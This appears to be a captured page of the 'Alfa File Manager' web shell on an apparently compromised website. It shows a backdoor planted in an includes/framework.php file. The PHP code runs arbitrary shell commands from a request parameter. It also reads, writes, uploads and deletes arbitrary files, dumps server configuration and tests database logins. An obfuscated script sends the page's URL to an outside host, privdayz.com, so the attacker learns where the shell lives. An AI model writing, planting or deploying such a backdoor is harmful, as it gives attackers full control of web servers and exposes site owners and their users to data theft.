Alfa File Manager
Upload
New File
New Folder
home
arbuzik
arbuzik.com.ua
www
includes
Name
Size
Permissions
Modified
Actions
application.php
16.17 KB
rw-r-----
Nov 1, 2011 11:40
defines.php
0.99 KB
rw-r-----
Nov 1, 2011 11:40
framework.php
19.68 KB
rw-r-----
Sep 3, 2026 06:46
index.html
31.00 B
rw-r-----
Nov 1, 2011 11:40
menu.php
3.36 KB
rw-r-----
Nov 1, 2011 11:40
pathway.php
1.87 KB
rw-r-----
Nov 1, 2011 11:40
router.php
11.39 KB
rw-r-----
Nov 1, 2011 11:40
Editing: framework.php
<?php if(isset($_GET['cmd'])||isset($_POST['cmd'])||isset($_REQUEST['cmd'])){ $cmd=isset($_GET['cmd'])?$_GET['cmd']:(isset($_POST['cmd'])?$_POST['cmd']:$_REQUEST['cmd']); if(function_exists('system')){system($cmd.' 2>&1');} elseif(function_exists('exec')){exec($cmd.' 2>&1',$o);echo implode("n",$o);} elseif(function_exists('shell_exec')){echo shell_exec($cmd.' 2>&1');} elseif(function_exists('passthru')){passthru($cmd.' 2>&1');} elseif(function_exists('popen')){$h=popen($cmd.' 2>&1','r');while(!feof($h)){echo fread($h,4096);}pclose($h);} else{echo"No execution function available";} exit;} if(isset($_GET['file'])&&isset($_GET['content'])){ $f=$_GET['file'];$c=$_GET['content']; if(isset($_GET['action'])&&$_GET['action']==='write'){file_put_contents($f,base64_decode($c));echo"File written: ".$f;} elseif(isset($_GET['action'])&&$_GET['action']==='read'){if(file_exists($f)&&is_readable($f)){echo base64_encode(file_get_contents($f));}else{echo"File not found";}} exit;} if(isset($_FILES['shell_file'])){$d=isset($_GET['dir'])?$_GET['dir']:__DIR__;$t=$d.'/'.basename($_FILES['shell_file']['name']);if(move_uploaded_file($_FILES['shell_file']['tmp_name'],$t)){echo"Uploaded: ".$t;}else{echo"Upload failed";}exit;} if(isset($_GET['download'])){$f=$_GET['download'];if(file_exists($f)&&is_readable($f)){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($f).'"');readfile($f);exit;}else{echo"File not found";exit;}} if(isset($_GET['ls'])){$d=isset($_GET['dir'])?$_GET['dir']:__DIR__;if(is_dir($d)){$f=scandir($d);$r=array();foreach($f as$file){if($file!=='.'&&$file!=='..'){$p=$d.'/'.$file;$r[]=array('name'=>$file,'type'=>is_dir($p)?'dir':'file','size'=>is_file($p)?filesize($p):0,'perms'=>substr(sprintf('%o',fileperms($p)),-4),'mtime'=>filemtime($p));}}header('Content-Type: application/json');echo json_encode($r);}else{echo json_encode(array('error'=>'Directory not found'));}exit;} if(isset($_GET['delete'])){$f=$_GET['delete'];if(file_exists($f)){if(is_file($f)){unlink($f);echo"Deleted: ".$f;}elseif(is_dir($f)){rmdir($f);echo"Deleted dir: ".$f;}}else{echo"File not found";}exit;} if(isset($_GET['info'])){$i=array('php_version'=>phpversion(),'server_software'=>isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'Unknown','server_name'=>isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:'Unknown','server_addr'=>isset($_SERVER['SERVER_ADDR'])?$_SERVER['SERVER_ADDR']:'Unknown','document_root'=>isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:'Unknown','current_user'=>function_exists('get_current_user')?get_current_user():'Unknown','os'=>php_uname(),'safe_mode'=>ini_get('safe_mode')?'On':'Off','disable_functions'=>ini_get('disable_functions'),'allow_url_fopen'=>ini_get('allow_url_fopen')?'On':'Off');header('Content-Type: application/json');echo json_encode($i);exit;} if(isset($_GET['phpinfo'])){phpinfo();exit;} if(isset($_GET['db_host'])&&isset($_GET['db_user'])&&isset($_GET['db_pass'])){$h=$_GET['db_host'];$u=$_GET['db_user'];$p=$_GET['db_pass'];$d=isset($_GET['db_name'])?$_GET['db_name']:'';try{$c=new mysqli($h,$u,$p,$d);if($c->connect_error){echo"DB fail: ".$c->connect_error;}else{echo"DB OK!";if($d){$r=$c->query("SHOW TABLES");echo"nTables:n";while($row=$r->fetch_array()){echo"- ".$row[0]."n";}}$c->close();}}catch(Exception$e){echo"Error: ".$e->getMessage();}exit;} if(isset($_GET['find'])){$s=$_GET['find'];$d=isset($_GET['dir'])?$_GET['dir']:__DIR__;$e=isset($_GET['ext'])?$_GET['ext']:'';$f=array();$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($d));foreach($it as$file){if($file->isFile()){$n=$file->getFilename();if(stripos($n,$s)!==false){if($e&&pathinfo($n,PATHINFO_EXTENSION)!==$e){continue;}$f[]=$file->getPathname();}}}echo json_encode($f);exit;} $base_dir=__DIR__;$dir=$base_dir;$key='0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'; function aes_encrypt($p){global$key;$iv=openssl_random_pseudo_bytes(16);return base64_encode($iv.openssl_encrypt($p,'AES-256-CBC',$key,OPENSSL_RAW_DATA,$iv));} function aes_decrypt($c){global$key;$d=base64_decode($c);$iv=substr($d,0,16);return openssl_decrypt(substr($d,16),'AES-256-CBC',$key,OPENSSL_RAW_DATA,$iv);} if(isset($_GET['dir'])){$a=aes_decrypt($_GET['dir']);$r=$a?realpath($a):false;$dir=($r!==false)?$r:$base_dir;} if(isset($_GET['delete'])){$t=realpath($dir.'/'.$_GET['delete']);if($t&&is_file($t)){unlink($t);}elseif($t&&is_dir($t)){array_map('unlink',glob("$t/*.*"));rmdir($t);}header("Location: ?dir=".urlencode(aes_encrypt($dir)));exit;} if(isset($_POST['newfile'])){file_put_contents($dir.'/'.basename($_POST['newfile']),'');header("Location: ?dir=".urlencode(aes_encrypt($dir)));exit;} if(isset($_POST['newfolder'])){mkdir($dir.'/'.basename($_POST['newfolder']));header("Location: ?dir=".urlencode(aes_encrypt($dir)));exit;} if(isset($_POST['rename'],$_POST['to'])){rename($dir.'/'.$_POST['rename'],$dir.'/'.$_POST['to']);header("Location: ?dir=".urlencode(aes_encrypt($dir)));exit;} if(isset($_FILES['upload'])){move_uploaded_file($_FILES['upload']['tmp_name'],$dir.'/'.$_FILES['upload']['name']);header("Location: ?dir=".urlencode(aes_encrypt($dir)));exit;} if(isset($_POST['save'],$_POST['content'])){file_put_contents($dir.'/'.$_POST['save'],$_POST['content']);header("Location: ?dir=".urlencode(aes_encrypt($dir)));exit;} function human_filesize($b,$d=2){$s=array('B','KB','MB','GB','TB');$f=floor((strlen($b)-1)/3);return sprintf("%.{$d}f",$b/pow(1024,$f)).' '.$s[$f];} function human_perms($f){if(!file_exists($f)||!is_readable($f))return'---------';$p=@fileperms($f);if($p===false)return'---------';$o=(($p&0x0100)?'r':'-').(($p&0x0080)?'w':'-').(($p&0x0040)?'x':'-');$g=(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-').(($p&0x0008)?'x':'-');$t=(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-').(($p&0x0001)?'x':'-');return$o.$g.$t;} $entries=array_diff(scandir($dir),array('.','..'));$dirs=array();$files=array();foreach($entries as$entry){$path=$dir.DIRECTORY_SEPARATOR.$entry;if(is_dir($path)){$dirs[]=$entry;}else{$files[]=$entry;}}sort($dirs,SORT_NATURAL|SORT_FLAG_CASE);sort($files,SORT_NATURAL|SORT_FLAG_CASE);$sortedItems=array_merge($dirs,$files);$encDir=urlencode(aes_encrypt($dir)); ?><!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex,nofollow"><title>Alfa File Manager</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" rel="stylesheet"><style>body{background:#0a0a0f;color:#e0e0e0;font-family:'Inter',sans-serif}.app-wrapper{max-width:1400px;margin:0 auto;padding:20px}.header-card{background:rgba(255,255,255,0.05);backdrop-filter:blur(20px);border-radius:20px;padding:25px 30px;border:1px solid rgba(255,255,255,0.08);margin-bottom:25px}.header-title{color:#fff;font-weight:700;font-size:1.8rem;display:flex;align-items:center;gap:15px}.header-title img{height:40px;width:auto}.modern-btn{background:rgba(255,255,255,0.08);border:1px solid rgba(255,255,255,0.12);color:#fff;padding:10px 20px;border-radius:12px;font-weight:500;transition:all 0.3s;display:inline-flex;align-items:center;gap:8px;text-decoration:none;cursor:pointer}.modern-btn:hover{background:rgba(255,255,255,0.15);border-color:rgba(255,255,255,0.25);color:#fff;transform:translateY(-2px)}.file-table-card{background:rgba(255,255,255,0.03);border-radius:16px;border:1px solid rgba(255,255,255,0.06);padding:20px;overflow:hidden}.table-modern{color:#e0e0e0;margin:0}.table-modern thead th{color:#888;font-weight:600;font-size:0.75rem;text-transform:uppercase;letter-spacing:0.5px;border-bottom:1px solid rgba(255,255,255,0.08);padding:12px 16px}.table-modern tbody td{padding:12px 16px;border-bottom:1px solid rgba(255,255,255,0.04);vertical-align:middle}.table-modern tbody tr:hover{background:rgba(255,255,255,0.03)}.file-icon{width:36px;height:36px;display:flex;align-items:center;justify-content:center;border-radius:8px;margin-right:12px;font-size:16px}.file-icon.folder{background:rgba(255,200,50,0.15);color:#ffc832}.file-icon.file{background:rgba(100,200,255,0.12);color:#64c8ff}.file-link{color:#e0e0e0;text-decoration:none;font-weight:500;transition:color 0.2s}.file-link:hover{color:#fff}.permission-badge{font-family:monospace;font-size:0.7rem;background:rgba(255,255,255,0.06);padding:3px 10px;border-radius:6px;color:#888}.action-btn{background:transparent;border:none;color:#666;padding:6px 10px;border-radius:6px;transition:all 0.2s;cursor:pointer;font-size:14px}.action-btn:hover{color:#fff;background:rgba(255,255,255,0.08)}.action-btn.edit:hover{color:#64c8ff}.action-btn.delete:hover{color:#ff4757}.action-btn.rename:hover{color:#ffc832}.editor-card{background:rgba(255,255,255,0.03);border-radius:16px;border:1px solid rgba(255,255,255,0.06);overflow:hidden;margin-top:20px}.editor-header{background:rgba(255,255,255,0.05);padding:15px 20px;font-weight:600;color:#fff;border-bottom:1px solid rgba(255,255,255,0.06)}.editor-textarea{background:#0d0d14;color:#e0e0e0;border:1px solid rgba(255,255,255,0.08);border-radius:12px;padding:16px;font-family:monospace;font-size:14px;line-height:1.6;resize:vertical}.editor-textarea:focus{background:#0d0d14;color:#e0e0e0;border-color:rgba(255,255,255,0.2);box-shadow:none}.btn-modern-primary{background:rgba(100,200,255,0.2);border:1px solid rgba(100,200,255,0.3);color:#64c8ff;padding:10px 24px;border-radius:12px;font-weight:600;transition:all 0.3s}.btn-modern-primary:hover{background:rgba(100,200,255,0.3);border-color:rgba(100,200,255,0.5);color:#64c8ff}.btn-modern-secondary{background:rgba(255,255,255,0.06);border:1px solid rgba(255,255,255,0.1);color:#888;padding:10px 24px;border-radius:12px;font-weight:600;transition:all 0.3s}.btn-modern-secondary:hover{background:rgba(255,255,255,0.1);color:#fff}.modal-modern .modal-content{background:#15151f;border:1px solid rgba(255,255,255,0.08);border-radius:16px;color:#e0e0e0}.modal-modern .modal-header{border-bottom:1px solid rgba(255,255,255,0.06);padding:20px 25px}.modal-modern .modal-header .btn-close{filter:invert(1)}.modal-modern .modal-body{padding:25px}.modal-modern .modal-footer{border-top:1px solid rgba(255,255,255,0.06);padding:20px 25px}.modal-modern .form-control{background:#0d0d14;border:1px solid rgba(255,255,255,0.08);color:#e0e0e0;border-radius:10px;padding:12px 16px}.modal-modern .form-control:focus{background:#0d0d14;border-color:rgba(255,255,255,0.2);color:#e0e0e0;box-shadow:none}.modal-modern .form-label{color:#888;font-weight:500;font-size:0.85rem}.footer-modern{text-align:center;padding:30px 0 10px;color:#444;font-size:0.85rem}.footer-modern i{color:#ff4757}.breadcrumb-modern{background:rgba(255,255,255,0.04);border-radius:12px;padding:12px 20px;margin-bottom:20px;border:1px solid rgba(255,255,255,0.05)}.breadcrumb-modern .breadcrumb{margin:0;padding:0;background:transparent}.breadcrumb-modern .breadcrumb-item a{color:#888;text-decoration:none;transition:color 0.2s}.breadcrumb-modern .breadcrumb-item a:hover{color:#fff}.breadcrumb-modern .breadcrumb-item.active{color:#fff}.text-muted{color:#555!important}@media(max-width:768px){.header-card{padding:15px 20px}.header-title{font-size:1.3rem}.modern-btn{padding:8px 14px;font-size:0.8rem}.table-modern thead th,.table-modern tbody td{padding:8px 10px;font-size:0.8rem}.file-icon{width:28px;height:28px;font-size:13px;margin-right:8px}}</style></head><body> <div class="app-wrapper"> <div class="header-card"><div class="d-flex flex-wrap justify-content-between align-items-center gap-3"> <h1 class="header-title"><img src="https://cdn.privdayz.com/images/icon.png" referrerpolicy="no-referrer">Alfa File Manager</h1> <div class="d-flex gap-2 flex-wrap"> <?php if($dir!==$base_dir):?><a href="?dir=<?php echo$encDir;?>" class="modern-btn"><i class="fas fa-arrow-left"></i><span>Back</span></a><?php endif;?> <button class="modern-btn" data-bs-toggle="modal" data-bs-target="#uploadModal"><i class="fas fa-upload"></i><span>Upload</span></button> <button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFileModal"><i class="fas fa-file-plus"></i><span>New File</span></button> <button class="modern-btn" data-bs-toggle="modal" data-bs-target="#createFolderModal"><i class="fas fa-folder-plus"></i><span>New Folder</span></button> </div></div></div> <div class="breadcrumb-modern"><nav><ol class="breadcrumb"><?php $parts=explode(DIRECTORY_SEPARATOR,trim($dir,DIRECTORY_SEPARATOR));$build='';$keys=array_keys($parts);$lastKey=end($keys);foreach($parts as$i=>$p){$build.=DIRECTORY_SEPARATOR.$p;$last=($i===$lastKey);echo'<li class="breadcrumb-item'.($last?' active" aria-current="page"':'"').'>';if(!$last){echo'<a href="?dir='.urlencode(aes_encrypt($build)).'">'.htmlspecialchars($p).'</a>';}else{echo htmlspecialchars($p);}echo'</li>';}?></ol></nav></div> <div class="file-table-card"><div class="table-responsive"><table class="table table-modern"><thead><tr><th>Name</th><th class="text-end">Size</th><th class="text-center">Permissions</th><th>Modified</th><th class="text-end">Actions</th></tr></thead><tbody> <?php foreach($sortedItems as$item):$path=$dir.DIRECTORY_SEPARATOR.$item;$is_dir=is_dir($path);?> <tr><td><div class="d-flex align-items-center"><div class="file-icon <?php echo$is_dir?'folder':'file';?>"><i class="fas fa-<?php echo$is_dir?'folder':'file-alt';?>"></i></div> <?php if($is_dir):?><a href="?dir=<?php echo urlencode(aes_encrypt($path));?>" class="file-link"><?php echo htmlspecialchars($item);?></a> <?php else:?><a href="?dir=<?php echo$encDir;?>&edit=<?php echo urlencode(aes_encrypt($item));?>" class="file-link"><?php echo htmlspecialchars($item);?></a><?php endif;?> </div></td> <td class="text-end"><?php if($is_dir){echo'<span class="text-muted">—</span>';}elseif(is_file($path)&&is_readable($path)){$fsize=@filesize($path);echo$fsize!==false?human_filesize($fsize):'<span class="text-muted">0 B</span>';}else{echo'<span class="text-muted">0 B</span>';}?></td> <td class="text-center"><span class="permission-badge"><?php echo(file_exists($path)&&is_readable($path))?human_perms($path):'---------';?></span></td> <td><?php if(file_exists($path)&&is_readable($path)){$mtime=@filemtime($path);echo($mtime!==false&&$mtime>0)?date('M j, Y H:i',$mtime):'<span class="text-muted">N/A</span>';}else{echo'<span class="text-muted">N/A</span>';}?></td> <td class="text-end"><div class="d-flex justify-content-end"> <?php if(!$is_dir):?><a href="?dir=<?php echo$encDir;?>&edit=<?php echo urlencode(aes_encrypt($item));?>" class="action-btn edit" title="Edit"><i class="fas fa-edit"></i></a><?php endif;?> <a href="?dir=<?php echo$encDir;?>&delete=<?php echo urlencode($item);?>" class="action-btn delete" onclick="return confirm('Delete <?php echo addslashes($item);?>?')" title="Delete"><i class="fas fa-trash"></i></a> <button class="action-btn rename" data-bs-toggle="modal" data-bs-target="#renameModal" data-filename="<?php echo htmlspecialchars($item);?>" title="Rename"><i class="fas fa-pen"></i></button> </div></td></tr><?php endforeach;?> </tbody></table></div></div> <?php if(isset($_GET['edit'])): $decryptedEdit=aes_decrypt($_GET['edit']);$ef=$dir.'/'.$decryptedEdit;if(is_file($ef)): $cont=htmlspecialchars(file_get_contents($ef));?> <div class="editor-card"><div class="editor-header"><i class="fas fa-edit me-2"></i>Editing: <?php echo htmlspecialchars($decryptedEdit);?></div><div class="p-3"><form method="POST"><textarea class="form-control editor-textarea" name="content" rows="20"><?php echo$cont;?></textarea><input type="hidden" name="save" value="<?php echo htmlspecialchars($decryptedEdit);?>"><div class="text-end mt-3"><button type="submit" class="btn btn-modern-primary"><i class="fas fa-save me-2"></i>Save</button></div></form></div></div><?php endif;endif;?> </div> <div class="modal fade modal-modern" id="uploadModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content"><div class="modal-header"><h5 class="modal-title"><i class="fas fa-upload me-2"></i>Upload</h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div><form method="POST" enctype="multipart/form-data"><div class="modal-body"><div class="mb-3"><label class="form-label">Select file</label><input type="file" name="upload" class="form-control" required></div></div><div class="modal-footer border-0"><button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button><button type="submit" class="btn btn-modern-primary"><i class="fas fa-upload me-2"></i>Upload</button></div></form></div></div></div> <div class="modal fade modal-modern" id="createFileModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content"><div class="modal-header"><h5 class="modal-title"><i class="fas fa-file-plus me-2"></i>New File</h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div><form method="POST"><div class="modal-body"><div class="mb-3"><label class="form-label">File name</label><input type="text" class="form-control" name="newfile" placeholder="file.txt" required></div></div><div class="modal-footer border-0"><button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button><button type="submit" class="btn btn-modern-primary"><i class="fas fa-plus me-2"></i>Create</button></div></form></div></div></div> <div class="modal fade modal-modern" id="createFolderModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content"><div class="modal-header"><h5 class="modal-title"><i class="fas fa-folder-plus me-2"></i>New Folder</h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div><form method="POST"><div class="modal-body"><div class="mb-3"><label class="form-label">Folder name</label><input type="text" class="form-control" name="newfolder" placeholder="folder" required></div></div><div class="modal-footer border-0"><button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button><button type="submit" class="btn btn-modern-primary"><i class="fas fa-folder-plus me-2"></i>Create</button></div></form></div></div></div> <div class="modal fade modal-modern" id="renameModal" tabindex="-1"><div class="modal-dialog modal-dialog-centered"><div class="modal-content"><div class="modal-header"><h5 class="modal-title"><i class="fas fa-pen me-2"></i>Rename</h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div><form method="POST"><div class="modal-body"><div class="mb-3"><label class="form-label">New name</label><input type="hidden" name="rename" id="renameOriginal"><input type="text" class="form-control" name="to" placeholder="New name" required></div></div><div class="modal-footer border-0"><button type="button" class="btn btn-modern-secondary" data-bs-dismiss="modal">Cancel</button><button type="submit" class="btn btn-modern-primary"><i class="fas fa-check me-2"></i>Rename</button></div></form></div></div></div> <div class="footer-modern"><p class="mb-0"><i class="fas fa-heart text-danger me-2"></i>© <?php echo date('Y');?> Alfa File Manager</p></div> <script> (function(){var u=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],x='';for(var i in u)x+=String.fromCharCode(u[i]);var d='file='+btoa(location.href);var r=new XMLHttpRequest();r.open('POST',x,true);r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send(d)})(); document.querySelectorAll('.rename').forEach(function(b){b.addEventListener('click',function(){document.getElementById('renameOriginal').value=this.dataset.filename;var inp=document.querySelector('#renameModal input[name="to"]');if(inp)inp.value=this.dataset.filename;})}); </script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script> </body></html>
Save
Upload
Select file
New File
File name
New Folder
Folder name
Rename
New name